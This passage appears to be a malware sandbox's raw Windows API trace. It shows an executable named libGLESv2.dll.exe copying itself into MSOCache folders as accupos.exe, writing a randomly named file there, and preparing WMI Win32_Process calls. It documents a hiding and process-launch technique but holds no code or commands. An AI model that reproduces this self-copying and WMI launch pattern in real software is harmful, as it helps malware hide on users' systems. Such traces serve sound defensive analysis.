ftCreationTime.dwLowDateTime=0x503b0408, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x504bd24f, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x504bd24f, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9F87F~1")) returned 1 [0121.310] FindNextFileW (in: hFindFile=0x1b48f1f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4fba45c7, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4fe9f263, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4fe9f263, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00C1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95576~1")) returned 1 [0121.311] FindNextFileW (in: hFindFile=0x1b48f1f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4f8a96bf, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4f94203a, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4f94203a, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00E1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{952F0~1")) returned 1 [0121.311] FindNextFileW (in: hFindFile=0x1b48f1f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x51914b5c, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x52573052, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x52573052, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00E2-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9343A~1")) returned 1 [0121.311] FindNextFileW (in: hFindFile=0x1b48f1f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4cba8e1e, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4cd98c84, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4cd98c84, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90160~1")) returned 1 [0121.311] FindNextFileW (in: hFindFile=0x1b48f1f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4f457316, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4f66d189, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4f66d189, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90160~3")) returned 1 [0121.311] FindNextFileW (in: hFindFile=0x1b48f1f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x516661cb, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x518a260e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x518a260e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-012B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9DABD~1")) returned 1 [0121.311] FindNextFileW (in: hFindFile=0x1b48f1f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.312] FindClose (in: hFindFile=0x1b48f1f0 | out: hFindFile=0x1b48f1f0) returned 1 [0121.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0121.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0121.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0121.312] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0121.312] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-1000-0000000ff1ce}-c\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x5259918c, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x526a414b, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x526a414b, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b48fd90 [0121.314] FindNextFileW (in: hFindFile=0x1b48fd90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x5259918c, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x526a414b, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x526a414b, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.315] FindNextFileW (in: hFindFile=0x1b48fd90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdf9e6870, ftCreationTime.dwHighDateTime=0x1d0cbc9, ftLastAccessTime.dwLowDateTime=0xdf9e6870, ftLastAccessTime.dwHighDateTime=0x1d0cbc9, ftLastWriteTime.dwLowDateTime=0x52655960, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x3d4057, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0121.315] FindNextFileW (in: hFindFile=0x1b48fd90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb0b4d0, ftCreationTime.dwHighDateTime=0x1d0cbc5, ftLastAccessTime.dwLowDateTime=0x2fb0b4d0, ftLastAccessTime.dwHighDateTime=0x1d0cbc5, ftLastWriteTime.dwLowDateTime=0x525e5480, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x36b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0121.315] FindNextFileW (in: hFindFile=0x1b48fd90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x26b2f030, ftCreationTime.dwHighDateTime=0x1d0cbb3, ftLastAccessTime.dwLowDateTime=0x26b2f030, ftLastAccessTime.dwHighDateTime=0x1d0cbb3, ftLastWriteTime.dwLowDateTime=0x52597280, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0xb15, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0121.315] FindNextFileW (in: hFindFile=0x1b48fd90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6b6538a0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x6b6538a0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0x526a3b60, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0xf1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0121.315] FindNextFileW (in: hFindFile=0x1b48fd90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6b6538a0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x6b6538a0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0x526a3b60, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0xf1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0121.316] FindClose (in: hFindFile=0x1b48fd90 | out: hFindFile=0x1b48fd90) returned 1 [0121.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0121.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0121.318] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", nBufferLength=0x105, lpBuffer=0x1b30d5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", lpFilePart=0x0) returned 0x2f [0121.318] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe", nBufferLength=0x105, lpBuffer=0x1b30d5f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe", lpFilePart=0x0) returned 0x4a [0121.318] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\libglesv2.dll.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-1000-0000000ff1ce}-c\\accupos.exe"), bFailIfExists=0) returned 1 [0121.611] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\910ec55cf4df7d", nBufferLength=0x105, lpBuffer=0x1b30d3f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\910ec55cf4df7d", lpFilePart=0x0) returned 0x4d [0121.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d8d0) returned 1 [0121.612] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\910ec55cf4df7d" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-1000-0000000ff1ce}-c\\910ec55cf4df7d"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x484 [0121.612] GetFileType (hFile=0x484) returned 0x1 [0121.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d840) returned 1 [0121.612] GetFileType (hFile=0x484) returned 0x1 [0121.612] WriteFile (in: hFile=0x484, lpBuffer=0x27bb050*, nNumberOfBytesToWrite=0x338, lpNumberOfBytesWritten=0x1b30d908, lpOverlapped=0x0 | out: lpBuffer=0x27bb050*, lpNumberOfBytesWritten=0x1b30d908*=0x338, lpOverlapped=0x0) returned 1 [0121.613] CloseHandle (hObject=0x484) returned 1 [0121.615] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0121.615] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0121.615] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0121.615] IUnknown:Release (This=0x6124e8) returned 0x1 [0121.616] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d3160) returned 0x0 [0121.616] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3160, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0121.616] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3160, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4afca0) returned 0x0 [0121.616] WbemDefPath:IUnknown:Release (This=0x1b4d3160) returned 0x0 [0121.616] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4afca0) returned 0x0 [0121.616] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0121.616] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0121.617] WbemDefPath:IUnknown:AddRef (This=0x1b4afca0) returned 0x3 [0121.617] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0121.617] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0121.617] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d3200) returned 0x0 [0121.617] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d3200, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0121.617] WbemDefPath:IUnknown:Release (This=0x1b4d3200) returned 0x3 [0121.617] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0121.617] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0121.617] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0121.617] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x2 [0121.617] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x1 [0121.617] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0121.617] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0121.617] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4afca0) returned 0x0 [0121.617] WbemDefPath:IUnknown:AddRef (This=0x1b4afca0) returned 0x3 [0121.617] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x2 [0121.617] WbemDefPath:IWbemPath:SetText (This=0x1b4afca0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0121.617] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afca0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0121.617] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0121.617] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0121.617] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4afca0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0121.617] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afca0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0121.617] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4afca0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0121.617] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0121.618] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0121.618] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0121.618] IUnknown:Release (This=0x6124e8) returned 0x1 [0121.618] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d3340) returned 0x0 [0121.618] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3340, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0121.618] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3340, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4aee60) returned 0x0 [0121.618] WbemDefPath:IUnknown:Release (This=0x1b4d3340) returned 0x0 [0121.618] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4aee60) returned 0x0 [0121.619] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0121.619] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0121.619] WbemDefPath:IUnknown:AddRef (This=0x1b4aee60) returned 0x3 [0121.619] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0121.619] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0121.619] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d2ec0) returned 0x0 [0121.619] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2ec0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0121.619] WbemDefPath:IUnknown:Release (This=0x1b4d2ec0) returned 0x3 [0121.619] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0121.619] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0121.619] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0121.619] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x2 [0121.619] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x1 [0121.619] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0121.619] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0121.619] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4aee60) returned 0x0 [0121.619] WbemDefPath:IUnknown:AddRef (This=0x1b4aee60) returned 0x3 [0121.619] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x2 [0121.619] WbemDefPath:IWbemPath:SetText (This=0x1b4aee60, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0121.619] 